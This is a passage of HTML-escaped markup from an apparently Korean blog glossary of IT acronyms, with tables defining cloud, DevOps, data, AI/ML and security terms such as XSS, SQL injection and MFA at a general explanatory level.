&lt;td&gt;&lt;b&gt;구글 클라우드 플랫폼.&lt;/b&gt; 구글의 &lt;b&gt;클라우드 서비스 모음&lt;/b&gt;으로, 컴퓨팅(GCE), 머신러닝(AI 플랫폼), 데이터 웨어하우스(BigQuery) 등 다양한 서비스를 제공한다. 빅데이터 및 ML 분야에 강점이 있고, &lt;b&gt;멀티클라우드/하이브리드&lt;/b&gt; 지원 전략을 강조한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Azure&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(Microsoft Azure)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;애저.&lt;/b&gt; 마이크로소프트의 &lt;b&gt;클라우드 컴퓨팅 플랫폼&lt;/b&gt;으로, 가상머신, 애플리케이션 호스팅, AI/ML 서비스 등 광범위한 기능을 제공한다. MS 기술 스택(.NET 등)과의 통합에 강점이 있으며, 기업 엔터프라이즈 환경에 널리 활용된다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;IaaS&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Infrastructure as a Service&lt;/td&gt;
&lt;td&gt;&lt;b&gt;서비스형 인프라.&lt;/b&gt; 서버, 스토리지, 네트워크 같은 &lt;b&gt;IT 인프라 자원을 가상화&lt;/b&gt;하여 필요한 만큼 임대해 쓰는 클라우드 서비스 모델. 사용자는 인프라 설정/관리만 담당하고 하드웨어 관리 클라우드 사업자가 맡는다 (예: AWS EC2).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;PaaS&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Platform as a Service&lt;/td&gt;
&lt;td&gt;&lt;b&gt;서비스형 플랫폼.&lt;/b&gt; 애플리케이션 실행 환경을 클라우드로 제공하는 모델. &lt;b&gt;런타임, 라이브러리, OS 등을 미리 구성&lt;/b&gt;해주어 개발자는 코드 배포만 하면 되고, 플랫폼 관리(스케일링 등)는 제공자가 담당한다 (예: Heroku, Google App Engine).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SaaS&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Software as a Service&lt;/td&gt;
&lt;td&gt;&lt;b&gt;서비스형 소프트웨어.&lt;/b&gt; 소프트웨어를 설치형이 아닌 &lt;b&gt;온라인 서비스 형태&lt;/b&gt;로 제공하는 모델. 사용자는 웹이나 앱으로 접속해 기능을 이용하며, &lt;b&gt;운영/업데이트는 제공자가 관리&lt;/b&gt;한다. 예로 CRM, 이메일, 협업툴(Slack) 등 &lt;b&gt;구독형 서비스&lt;/b&gt;들이 이에 해당한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Serverless&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(&amp;mdash;)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;서버리스.&lt;/b&gt; 애플리케이션을 실행할 &lt;b&gt;서버 관리가 필요 없는 컴퓨팅 모델&lt;/b&gt;로, 함수 단위의 코드를 클라우드에 올리면 필요한 때 자동으로 실행된다. &lt;b&gt;이벤트 드리븐&lt;/b&gt;으로 동작하며, 사용한 만큼만 비용을 지불(예: AWS Lambda). 서버 프로비저닝과 운영을 신경 쓰지 않아도 되어 &lt;b&gt;개발에 집중&lt;/b&gt;할 수 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;K8s&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Kubernetes&lt;/td&gt;
&lt;td&gt;&lt;b&gt;쿠버네티스.&lt;/b&gt; 컨테이너화된 애플리케이션의 &lt;b&gt;자동 배포, 스케일링, 관리&lt;/b&gt;를 위한 오픈소스 &lt;b&gt;컨테이너 오케스트레이션 플랫폼&lt;/b&gt;. 다수의 Docker 컨테이너들을 클러스터에서 관리하며, &lt;b&gt;자체 치유(self-healing)&lt;/b&gt;, &lt;b&gt;로드 밸런싱&lt;/b&gt; 등 기능으로 &lt;b&gt;운영 복잡성을 크게 줄여&lt;/b&gt; 준다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;CDN&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Content Delivery Network&lt;/td&gt;
&lt;td&gt;&lt;b&gt;콘텐츠 전송 네트워크.&lt;/b&gt; 웹 콘텐츠(이미지, HTML, CSS, 스크립트 등)를 사용자와 가까운 &lt;b&gt;전세계 엣지 서버에 캐싱&lt;/b&gt;하여 빠르게 전달하는 분산 네트워크. CDN을 사용하면 &lt;b&gt;지연 시간(latency) 감소&lt;/b&gt;와 트래픽 부하 분산으로 웹 사이트의 성능과 안정성이 향상된다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;DevOps &amp;amp; 운영 (DevOps &amp;amp; Operations)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;약어&lt;/th&gt;
&lt;th&gt;원어 (영문)&lt;/th&gt;
&lt;th&gt;설명 (한국어)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;DevOps&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Development + Operations&lt;/td&gt;
&lt;td&gt;&lt;b&gt;데브옵스.&lt;/b&gt; 개발(Development) 팀과 운영(Operations) 팀 사이의 &lt;b&gt;협업과 통합을 강조&lt;/b&gt;하는 문화이자 방법론. 조직 내 개발 속도를 높이고 신뢰성을 확보하기 위해 &lt;b&gt;빌드, 테스트, 배포 프로세스의 자동화(CI/CD)&lt;/b&gt;와 &lt;b&gt;협력&lt;/b&gt;을 장려한다. 개발과 운영의 경계를 허물어 &lt;b&gt;지속적인 소프트웨어 전달&lt;/b&gt;을 실현하는 철학이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;CI/CD&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Continuous Integration / Continuous Delivery&lt;/td&gt;
&lt;td&gt;&lt;b&gt;지속적 통합/지속적 전달.&lt;/b&gt; 개발 중 생긴 코드 변경을 &lt;b&gt;지속적으로 빌드 및 테스트(CI)&lt;/b&gt;하고, 안정적인 빌드 산출물은 자동으로 &lt;b&gt;스테이징/프로덕션에 배포(CD)&lt;/b&gt;하는 소프트웨어 공정. 작은 변경을 자주 통합&amp;middot;배포하여 &lt;b&gt;품질을 높이고 출시 주기를 단축&lt;/b&gt;시킨다. (CI/CD 파이프라인 도구로 Jenkins, GitHub Actions 등 사용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;DevSecOps&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Development, Security, Operations&lt;/td&gt;
&lt;td&gt;&lt;b&gt;데브섹옵스.&lt;/b&gt; DevOps 파이프라인 전반에 &lt;b&gt;보안(Sec)을 통합&lt;/b&gt;한 접근 방식. 코드 개발부터 배포, 운영까지 모든 단계에서 &lt;b&gt;자동화된 보안 검사&lt;/b&gt;와 &lt;b&gt;취약점 대응&lt;/b&gt;을 수행한다. 개발 속도를 해치지 않으면서 &lt;b&gt;보안을 &amp;ldquo;처음부터&amp;rdquo; 내재화&lt;/b&gt;하는 것이 목표인 문화/프로세스이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;GitOps&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(&amp;mdash;)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;깃옵스.&lt;/b&gt; Git 저장소를 &lt;b&gt;단일 소스&lt;/b&gt;로 이용해 &lt;b&gt;인프라 및 애플리케이션 구성을 관리&lt;/b&gt;하는 DevOps 실천 방법. 모든 배포 관련 설정을 선언적 구성파일(YAML 등)로 Git에 저장하고, 변경사항 커밋 시 자동으로 배포 파이프라인이 적용한다. 이를 통해 &lt;b&gt;형상 관리와 배포의 일원화&lt;/b&gt;, &lt;b&gt;롤백 용이성&lt;/b&gt;을 달성한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;IaC&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Infrastructure as Code&lt;/td&gt;
&lt;td&gt;&lt;b&gt;코드형 인프라.&lt;/b&gt; 서버, 네트워크, 설정 등 인프라 구성을 사람이 수동으로 하지 않고 &lt;b&gt;코드로 정의&lt;/b&gt;하여 관리하는 방식. 예를 들어 Terraform, CloudFormation 같은 IaC 도구로 인프라 스택을 스크립트로 작성하면, &lt;b&gt;버전관리와 자동 프로비저닝&lt;/b&gt;이 가능해져 일관성과 효율이 높아진다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SRE&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Site Reliability Engineering&lt;/td&gt;
&lt;td&gt;&lt;b&gt;사이트 신뢰성 엔지니어링.&lt;/b&gt; Google이 주창한 개념으로 &lt;b&gt;소프트웨어 엔지니어링 접근법을 운영에 적용&lt;/b&gt;하여 서비스의 신뢰성(가용성, 지연, 용량 등)을 높이는 역할/문화. &lt;b&gt;SLO/SLI&lt;/b&gt; 등의 측정지표를 세우고, 자동화 도구와 모니터링으로 &lt;b&gt;장애를 예방&lt;/b&gt;하며, 개발팀과 협업해 &lt;b&gt;운영 이슈를 코드로 해결&lt;/b&gt;하는 엔지니어링 분야이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Docker&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(&amp;mdash;)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;도커.&lt;/b&gt; 컨테이너 기반 애플리케이션의 &lt;b&gt;표준 플랫폼&lt;/b&gt;으로, 애플리케이션과 그 환경을 컨테이너 이미지로 패키징하여 어디서나 &lt;b&gt;일관되게 실행&lt;/b&gt;할 수 있게 해준다. 리눅스 &lt;b&gt;커널의 컨테이너 기술(LXC)&lt;/b&gt;을 사용하며, 이미지 레지스트리(Docker Hub 등)에 공유된 컨테이너를 받아 &lt;b&gt;신속한 배포와 확장&lt;/b&gt;이 가능하다. (현대 DevOps의 필수 도구)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;데이터 (Data)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;약어&lt;/th&gt;
&lt;th&gt;원어 (영문)&lt;/th&gt;
&lt;th&gt;설명 (한국어)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Big Data&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(&amp;mdash;)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;빅데이터.&lt;/b&gt; &lt;b&gt;방대한 규모의 데이터&lt;/b&gt;를 의미하는 용어로, 전통적인 방식으로 처리하기 어려운 &lt;b&gt;대용량&amp;middot;고속&amp;middot;다양한(3V)&lt;/b&gt; 데이터셋을 가리킨다. 빅데이터 기술로 분산 파일 시스템(HDFS)이나 맵리듀스, Spark 등을 활용하며, 많은 데이터를 분석해 &lt;b&gt;유의미한 인사이트를 도출&lt;/b&gt;하는데 초점을 둔다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;NoSQL&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Not Only SQL&lt;/td&gt;
&lt;td&gt;&lt;b&gt;노SQL.&lt;/b&gt; 전통적 관계형 DB와 달리 &lt;b&gt;유연한 스키마&lt;/b&gt;를 허용하고 &lt;b&gt;수평 확장&lt;/b&gt;이 용이한 비관계형 데이터베이스를 통칭한다. 키-값 저장소, 문서형 DB(MongoDB), 컬럼 패밀리(Cassandra), 그래프 DB 등 다양한 모델이 있으며, &lt;b&gt;ACID 대신 최종 일관성&lt;/b&gt;을 지향하는 등 &lt;b&gt;웹 규모 시스템에 적합&lt;/b&gt;하다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Data Lake&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(&amp;mdash;)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;데이터 레이크.&lt;/b&gt; 정형&amp;middot;비정형 모든 원천 데이터를 &lt;b&gt;그대로 모아 놓은 대용량 저장소&lt;/b&gt;를 의미한다. 스키마를 미리 정의하지 않고(raw 형태로) 저장하며, 필요 시 추후 가공하여 쓸 수 있다. &lt;b&gt;저비용으로 모든 데이터를 수집&lt;/b&gt;할 수 있지만, 관리 통제가 어려우면 &lt;b&gt;&amp;ldquo;데이터 늪&amp;rdquo;&lt;/b&gt;이 될 위험도 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Data Warehouse&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(&amp;mdash;)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;데이터 웨어하우스.&lt;/b&gt; 비즈니스 의사결정에 활용하기 위해 &lt;b&gt;정제된 정형 데이터&lt;/b&gt;를 주제별로 통합 저장한 &lt;b&gt;중앙 저장소&lt;/b&gt;. 스키마를 사전에 설계하고 ETL 과정을 거쳐 품질 높은 데이터를 적재하며, &lt;b&gt;SQL 질의에 최적화&lt;/b&gt;되어 대규모 분석/리포팅에 사용된다. (예: Oracle, Snowflake 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Lakehouse&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(&amp;mdash;)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;레이크하우스.&lt;/b&gt; &lt;b&gt;데이터 레이크&lt;/b&gt;의 유연성과 &lt;b&gt;데이터 웨어하우스&lt;/b&gt;의 관리/신뢰성을 결합한 새로운 아키텍처. 데이터는 데이터 레이크처럼 저렴하게 저장하지만, &lt;b&gt;메타데이터 관리와 SQL 분석 기능&lt;/b&gt;을 추가하여 웨어하우스 수준의 관리성을 갖춘다. (예: Databricks Lakehouse 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;ETL&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Extract, Transform, Load&lt;/td&gt;
&lt;td&gt;&lt;b&gt;이티엘.&lt;/b&gt; &lt;b&gt;데이터 파이프라인의 3단계&lt;/b&gt;를 일컫는 약어로, 원본에서 &lt;b&gt;추출(Extract)&lt;/b&gt; &amp;rarr; 필요한 형태로 &lt;b&gt;변환(Transform)&lt;/b&gt; &amp;rarr; 대상 시스템에 &lt;b&gt;적재(Load)&lt;/b&gt;하는 과정을 말한다. 최근에는 적재 후 변환하는 &lt;b&gt;ELT&lt;/b&gt; 방식도 사용하며, 데이터 웨어하우스 및 통합에서 &lt;b&gt;필수적인 절차&lt;/b&gt;이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;DataOps&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Data Operations&lt;/td&gt;
&lt;td&gt;&lt;b&gt;데이터옵스.&lt;/b&gt; &lt;b&gt;DevOps 원칙을 데이터 분석에 적용&lt;/b&gt;한 문화/프로세스로, 데이터 파이프라인의 품질과 속도, 협업을 향상하기 위한 &lt;b&gt;통합적인 데이터 운영 방법론&lt;/b&gt;이다. 애자일 방법론과 자동화 도구를 활용해 데이터 준비부터 분석까지의 &lt;b&gt;전 과정을 관리/모니터링&lt;/b&gt;하고, 신뢰할 수 있는 &lt;b&gt;지속적 데이터 제공&lt;/b&gt;을 목표로 한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;인공지능 &amp;amp; 머신러닝 (AI/ML)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;약어&lt;/th&gt;
&lt;th&gt;원어 (영문)&lt;/th&gt;
&lt;th&gt;설명 (한국어)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;AI&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Artificial Intelligence&lt;/td&gt;
&lt;td&gt;&lt;b&gt;인공지능.&lt;/b&gt; 기계가 인간의 학習이나 &lt;b&gt;추론 등의 지능적인 행동&lt;/b&gt;을 모방하도록 하는 컴퓨터 과학 분야. 규칙 기반 시스템부터 최신 머신러닝/딥러닝 모델까지 포함하며, 이미지 인식, 자연어 처리, 의사결정 등 다양한 문제를 &lt;b&gt;스스로 수행하거나 보조&lt;/b&gt;한다. (광의의 개념으로 ML과 DL을 모두 포함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;ML&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Machine Learning&lt;/td&gt;
&lt;td&gt;&lt;b&gt;머신러닝.&lt;/b&gt; 대량의 &lt;b&gt;데이터로부터 패턴을 학습&lt;/b&gt;하여 모델을 구축하고 예측/분류 등에 활용하는 AI의 하위 분야. 지도학습, 비지도학습, 강화학습 등의 방식이 있고, 프로그래머가 일일이 규칙을 짜는 대신 &lt;b&gt;알고리즘이 데이터에서 규칙을 자동 추출&lt;/b&gt;한다. (예: 회귀, 의사결정나무, SVM 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;DL&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Deep Learning&lt;/td&gt;
&lt;td&gt;&lt;b&gt;딥러닝.&lt;/b&gt; 인공신경망(특히 다층 신경망)을 활용한 머신러닝 기법으로, &lt;b&gt;은닉층을 여러 층 깊게&lt;/b&gt; 쌓아 복잡한 패턴을 학습한다. 대량의 연산을 통해 이미지/음성 인식, 자연어 처리에서 &lt;b&gt;혁신적 성능 향상&lt;/b&gt;을 이뤘으며, 대표적으로 &lt;b&gt;CNN, RNN, 트랜스포머&lt;/b&gt; 등의 신경망 구조가 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;NLP&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Natural Language Processing&lt;/td&gt;
&lt;td&gt;&lt;b&gt;자연어 처리.&lt;/b&gt; 인간의 언어(텍스트와 음성)를 컴퓨터가 이해하고 생성하도록 하는 AI 분야. 형태소 분석, 파싱, 감성 분석부터 기계 번역, 챗봇, 요약 등 &lt;b&gt;언어 기반 작업&lt;/b&gt;을 다루며, 최근 &lt;b&gt;트랜스포머 기반 언어모델&lt;/b&gt;(예: BERT, GPT 등)의 등장으로 비약적 발전을 보였다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;CV&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Computer Vision&lt;/td&gt;
&lt;td&gt;&lt;b&gt;컴퓨터 비전.&lt;/b&gt; 디지털 이미지나 영상을 컴퓨터가 해석하고 &lt;b&gt;유의미한 정보를 추출&lt;/b&gt;하도록 하는 기술 분야. &lt;b&gt;객체 탐지, 얼굴 인식, 영상 분류, 자율주행&lt;/b&gt; 등의 응용이 있으며, 딥러닝의 발전으로 인간 수준 혹은 그 이상의 &lt;b&gt;시각 인지 능력&lt;/b&gt;을 보여주는 모델들이 나오고 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;LLM&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Large Language Model&lt;/td&gt;
&lt;td&gt;&lt;b&gt;거대 언어 모델.&lt;/b&gt; 대량의 텍스트 데이터를 바탕으로 훈련된 &lt;b&gt;초거대 규모 NLP 모델&lt;/b&gt;로, 문장의 &lt;b&gt;다음 단어 예측&lt;/b&gt;을 통해 번역, 요약, 질의응답 등 자연어 작업을 능숙하게 수행한다. 매개변수 수가 수십억~수천억 이상으로 매우 크며, GPT-3/4, PaLM 등이 대표적이다. &lt;b&gt;생성 AI 붐&lt;/b&gt;을 이끌고 있는 핵심 기술이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;MLOps&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Machine Learning Operations&lt;/td&gt;
&lt;td&gt;&lt;b&gt;엠엘옵스.&lt;/b&gt; 머신러닝 모델의 개발부터 배포, 운영까지 전체 수명주기를 &lt;b&gt;효율적으로 관리&lt;/b&gt;하기 위한 일련의 관행 및 도구. DevOps를 ML 분야에 적용한 것으로, 데이터 준비, 모델 훈련, CI/CD, 모니터링 등을 자동화하여 &lt;b&gt;모델의 지속적 업데이트와 안정적 운영&lt;/b&gt;을 돕는다. (예: 모델 서빙, 피드백 루프 관리 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;GAN&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Generative Adversarial Network&lt;/td&gt;
&lt;td&gt;&lt;b&gt;생성적 적대 신경망.&lt;/b&gt; &lt;b&gt;두 개의 신경망(생성자와 판별자)&lt;/b&gt;이 서로 경쟁하며 학습하는 딥러닝 모델로, 생성자는 가짜 데이터를 만들고 판별자는 진위를 맞추는 게임을 반복한다. 이 과정을 통해 사진처럼 현실적인 &lt;b&gt;이미지 생성&lt;/b&gt;, &lt;b&gt;딥페이크&lt;/b&gt; 영상, &lt;b&gt;이미지 업스케일링&lt;/b&gt; 등 다양한 생성 모델에 활용된다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;AutoML&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Automated Machine Learning&lt;/td&gt;
&lt;td&gt;&lt;b&gt;오토ML.&lt;/b&gt; 머신러닝 모델 개발의 &lt;b&gt;자동화&lt;/b&gt;를 의미하며, 데이터 전처리, 특징 선택, 알고리즘 선택, 하이퍼파라미터 튜닝 등 과정을 자동으로 수행해 최적 모델을 찾아준다. &lt;b&gt;전문가 개입을 최소화&lt;/b&gt;하여 비전문가도 ML 모델을 만들 수 있게 하거나, 전문가의 &lt;b&gt;모델 개발 효율을 높이는&lt;/b&gt; 데 쓰인다. (예: Google Cloud AutoML 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;보안 (Security)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;약어&lt;/th&gt;
&lt;th&gt;원어 (영문)&lt;/th&gt;
&lt;th&gt;설명 (한국어)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;XSS&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Cross-Site Scripting&lt;/td&gt;
&lt;td&gt;&lt;b&gt;크로스사이트 스크립팅.&lt;/b&gt; 신뢰할 수 있는 웹사이트에 악성 스크립트를 삽입하여 사용자 브라우저에서 실행시키는 &lt;b&gt;웹 취약점 공격 기법&lt;/b&gt;이다. 주로 게시판 등에 스크립트 코드를 넣어 다른 사용자의 &lt;b&gt;쿠키나 세션을 탈취&lt;/b&gt;하거나 &lt;b&gt;임의의 동작&lt;/b&gt;을 수행하게 만들 수 있다. (OWASP Top 10 취약점)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;CSRF&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Cross-Site Request Forgery&lt;/td&gt;
&lt;td&gt;&lt;b&gt;크로스사이트 요청 위조.&lt;/b&gt; 사용자가 &lt;b&gt;인증된 세션을 악용&lt;/b&gt;하여 의도치 않은 상태 변경 요청을 보내게 만드는 공격 기법. 공격자가 피해자 브라우저를 통해 &lt;b&gt;권한이 있는 요청&lt;/b&gt;(예: 계정 수정, 송금 등)을 보내도록 함으로써, 사용자가 모르는 사이에 악의적 행동이 실행된다. CSRF 토큰 검증 등으로 대응한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SQL Injection&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(&amp;mdash;)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;SQL 인젝션.&lt;/b&gt; 웹 입력값에 &lt;b&gt;악의적인 SQL문을 주입&lt;/b&gt;하여, 애플리케이션이 의도치 않은 DB 질의를 실행하게 만드는 보안 취약점이다. 이를 통해 &lt;b&gt;DB의 민감정보 유출&lt;/b&gt;이나 &lt;b&gt;임의 데이터 변경/삭제&lt;/b&gt;가 가능하다. 예방을 위해 &lt;b&gt;Prepared Statement&lt;/b&gt; 사용, 입력 값 검증, ORM 활용 등이 권장된다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;ZTA&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Zero Trust Architecture&lt;/td&gt;
&lt;td&gt;&lt;b&gt;제로 트러스트 아키텍처.&lt;/b&gt; &lt;b&gt;&amp;ldquo;아무도 신뢰하지 않고 항상 검증한다&amp;rdquo;&lt;/b&gt;는 원칙하에 네트워크 안팎을 불문하고 모든 접근을 지속적으로 인증&amp;middot;인가하는 &lt;b&gt;보안 모델&lt;/b&gt;. 내부망이어도 기본 가정은 불신이며, &lt;b&gt;강력한 신원 확인&lt;/b&gt;, &lt;b&gt;세분화된 권한&lt;/b&gt; 및 &lt;b&gt;암호화&lt;/b&gt;로 구성 요소 각각을 보호한다. 원격근무, 클라우드 환경에서 &lt;b&gt;보안 경계가 모호해지며 대두&lt;/b&gt;된 개념이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;IAM&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Identity and Access Management&lt;/td&gt;
&lt;td&gt;&lt;b&gt;식별자 및 접근 관리.&lt;/b&gt; 조직 내 사용자 또는 시스템의 &lt;b&gt;디지털 신원 관리와 접근 권한 제어&lt;/b&gt;를 위한 프레임워크. 인증(Authentication)으로 신원을 확인하고, 인가(Authorization)로 자원 접근을 제어한다. &lt;b&gt;SSO(Single Sign-On)&lt;/b&gt;, &lt;b&gt;권한 그룹(Role)&lt;/b&gt; 관리, &lt;b&gt;디렉토리 서비스&lt;/b&gt; 등이 포함되며, 권한 남용과 보안 사고를 막기 위한 필수 체계이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;MFA&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Multi-Factor Authentication&lt;/td&gt;
&lt;td&gt;&lt;b&gt;다중요소 인증.&lt;/b&gt; 사용자 신원을 확인할 때 &lt;b&gt;두 개 이상&lt;/b&gt;의 서로 다른 유형의 인증 요소를 요구하는 보안 방식. 예를 들어 &lt;b&gt;비밀번호 + OTP&lt;/b&gt; 또는 &lt;b&gt;지문 + 보안토큰&lt;/b&gt; 등을 조합한다. 한 가지 요소가 탈취되어도 나머지로 보호하여 &lt;b&gt;계정 탈취를 어렵게&lt;/b&gt; 만들며, 2FA(2단계 인증)는 MFA의 한 유형이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;DDoS&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Distributed Denial of Service&lt;/td&gt;
&lt;td&gt;&lt;b&gt;디도스(분산 서비스 거부).&lt;/b&gt; 다수의 &lt;b&gt;분산된 장비&lt;/b&gt;에서 한꺼번에 대량의 트래픽이나 요청을 목표 서버에 보내 &lt;b&gt;과부하로 서비스를 마비&lt;/b&gt;시키는 공격. 봇넷 등을 통해 트래픽을 증폭시켜 서버, 네트워크 자원을 소진시킨다. &lt;b&gt;방어를 위해&lt;/b&gt; 트래픽 필터링, IP 차단, CDN/프록시 활용 등이 사용되며, 대규모 인터넷 서비스에서 &lt;b&gt;대표적 가용성 위협&lt;/b&gt;으로 대비된다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;기타 (기타 분야 신기술)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;약어&lt;/th&gt;
&lt;th&gt;원어 (영문)&lt;/th&gt;
